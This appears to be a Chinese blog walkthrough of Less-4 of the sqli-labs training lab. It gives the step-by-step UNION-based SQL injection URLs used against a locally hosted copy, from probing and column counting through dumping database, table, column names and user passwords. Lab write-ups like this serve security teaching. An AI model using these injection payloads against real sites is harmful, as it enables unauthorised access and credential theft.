51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

sqli-labs系列——Less-4

摘要 {#摘要}

本文介绍了对 sqli-labs 的实验,主要讲解了 Less4 的题目。在前期准备工作完成后,通过特定的步骤来判断是否存在入,判断显错位,判断名、版本,判断表名,判断列名,如何获取数据。除此之外,还对最后的结果进行了优化。通过本文的介绍,读者可以更好地了解 SQL 注入实验的过程和执行方法。

实验环节 {#实验环节}

前期准备 {#前期准备}

su -  root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs    #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令

浏览器访问Less-4的地址

图片-1685610364584

打开HackBar插件

判断是否存在注入 {#判断是否存在注入}
http://192.168.199.129/Less-4/?id=1"
#如下图可根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入

图片-1685610654627

http://192.168.199.129/Less-4/?id=1")order by 4 -- xz
#order by 1-3都是没有任何异常,4显示报错

图片-1685610711789

判断显错位 {#判断显错位}
http://192.168.199.129/Less-4/?id=-1") union select 1,2,3 -- xz

图片-1685610785180

判断库名,版本号 {#判断库名,版本号}
http://192.168.199.129/Less-4/?id=-1") union select 1,database(),version() -- xz

图片-1685610835289

判断表名 {#判断表名}
http://192.168.199.129/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- xz   
#也可使用limit一个一个查询,这样不容易掉坑,Less-1讲解了具体用法,这里就不多说了

图片-1685610869428

判断列名 {#判断列名}
http://192.168.199.129/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- xz   

图片-1685610908308

判断数据 {#判断数据}
http://192.168.199.129/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users -- xz

图片-1685610953192

美化后的格式结果

http://192.168.199.129/Less-4/?id=-1") union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users  -- xz

图片-1685610984002

赞(0)
未经允许不得转载:工具盒子 » sqli-labs系列——Less-4